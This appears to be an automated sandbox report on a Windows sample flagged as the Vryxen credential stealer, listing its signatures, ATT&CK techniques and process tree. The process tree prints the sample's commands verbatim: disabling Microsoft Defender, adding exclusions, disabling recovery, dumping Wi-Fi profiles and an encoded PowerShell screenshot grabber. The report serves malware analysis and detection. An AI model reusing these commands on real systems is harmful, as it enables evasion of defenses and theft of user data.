Overview

overview

10

Static

static

10

2026-03-16...ch.exe

windows10-2004-x64

10

2026-03-16...ch.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/03/2026, 04:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  • Size 10.8MB
  • Sample260316-e2qhssct71
  • SHA256 82442409a93cdadb106e89e144882332fed0e27820db6bca62641e44f2531291
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionvryxenpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Detects Vryxen stealer 1 IoCs
  • Vryxen

    Vryxen is an open-source stealer written in Golang.

    stealervryxen
  • Vryxen family
    vryxen
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 2 IoCs
  • Enumerates processes with tasklist 1 TTPs 36 IoCs
    discovery
  • Drops file in Windows directory 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 1 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3672
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360chrome.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2272
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360se.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4992
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq avant.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq avant.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1500
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq brave.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3984
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq brave.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2548
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1172
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chrome.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1280
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4164
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chromium.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1700
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2620
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq citrio.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2940
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4516
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq comodo_dragon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4944
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3140
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coolnovo.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1440
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coowon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:5100
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:916
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq cyberfox.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1212
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1168
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq deepnet.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:3224
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3148
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq dooble.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:5088
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq epic.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:204
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq epic.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:3924
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3540
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq firefox.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2032
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iceweasel.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1048
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iridium.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:996
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2184
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq k-meleon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4328
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2156
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq maxthon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4708
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1088
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq msedge.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1376
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq netscape.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4916
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq opera.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1780
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq opera.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4592
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq palemoon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:452
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq safari.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq safari.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1400
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3776
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq seamonkey.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1940
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4712
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sleipnir.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4224
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4608
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sputnik.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2272
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq torch.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4720
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq torch.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1332
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4448
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq ucbrowser.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:5024
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2552
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq vivaldi.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2072
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq waterfox.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2568
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandex.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:5104
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
      2⤵
        PID:4088
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq yandexbrowser.exe"
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4376
      • C:\Windows\system32\cmd.exe
        cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
        2⤵
          PID:4532
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq operagx.exe"
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4632
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
          2⤵
          • Views/modifies file attributes
          PID:4724
        • C:\Windows\system32\reagentc.exe
          reagentc.exe /disable
          2⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:3908
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          2⤵
          • Views/modifies file attributes
          PID:1212
        • C:\Windows\system32\tasklist.exe
          tasklist
          2⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3436
        • C:\Windows\system32\tasklist.exe
          tasklist
          2⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4220
        • C:\Windows\System32\Wbem\wmic.exe
          wmic os get Caption
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4732
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get Name
          2⤵
            PID:2000
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Suspicious behavior: EnumeratesProcesses
            PID:4460
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            2⤵
            • Detects videocard installed
            PID:4840
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            2⤵
              PID:3880
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:896
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:2604
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:3288
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              2⤵
                PID:1904
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vgor505o\vgor505o.cmdline"
                  3⤵
                    PID:2548
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5CB1.tmp" "c:\Users\Admin\AppData\Local\Temp\vgor505o\CSC124A7CA2F2CB415C87E0BBAAD8F3D9A.TMP"
                      4⤵
                        PID:2880
                • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4408

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      1
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Defense Evasion

                      Hide Artifacts

                      1
                      T1564

                      Hidden Files and Directories

                      1
                      T1564.001

                      Impair Defenses

                      1
                      T1562

                      Disable or Modify Tools

                      1
                      T1562.001

                      Modify Registry

                      2
                      T1112

                      Obfuscated Files or Information

                      1
                      T1027

                      Command Obfuscation

                      1
                      T1027.010

                      Subvert Trust Controls

                      2
                      T1553

                      Install Root Certificate

                      2
                      T1553.004

                      Credential Access

                      Credentials from Password Stores

                      1
                      T1555

                      Credentials from Web Browsers

                      1
                      T1555.003

                      Unsecured Credentials

                      4
                      T1552

                      Credentials In Files

                      3
                      T1552.001

                      Credentials in Registry

                      1
                      T1552.002

                      Discovery

                      Browser Information Discovery

                      1
                      T1217

                      Process Discovery

                      1
                      T1057

                      System Information Discovery

                      1
                      T1082

                      System Network Configuration Discovery

                      1
                      T1016

                      Wi-Fi Discovery

                      1
                      T1016.002

                      Lateral Movement

                      Collection

                      Data from Local System

                      3
                      T1005

                      Command and Control

                      Web Service

                      1
                      T1102

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      powershell.exe.log
                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 2KB
                      • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 7305bcde3ba246a9b5c1666079c61596cc2ed2c651a1cd9e20557dba8a78c0e4
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RES5CB1.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RES5CB1.tmp
                      • Size 1KB
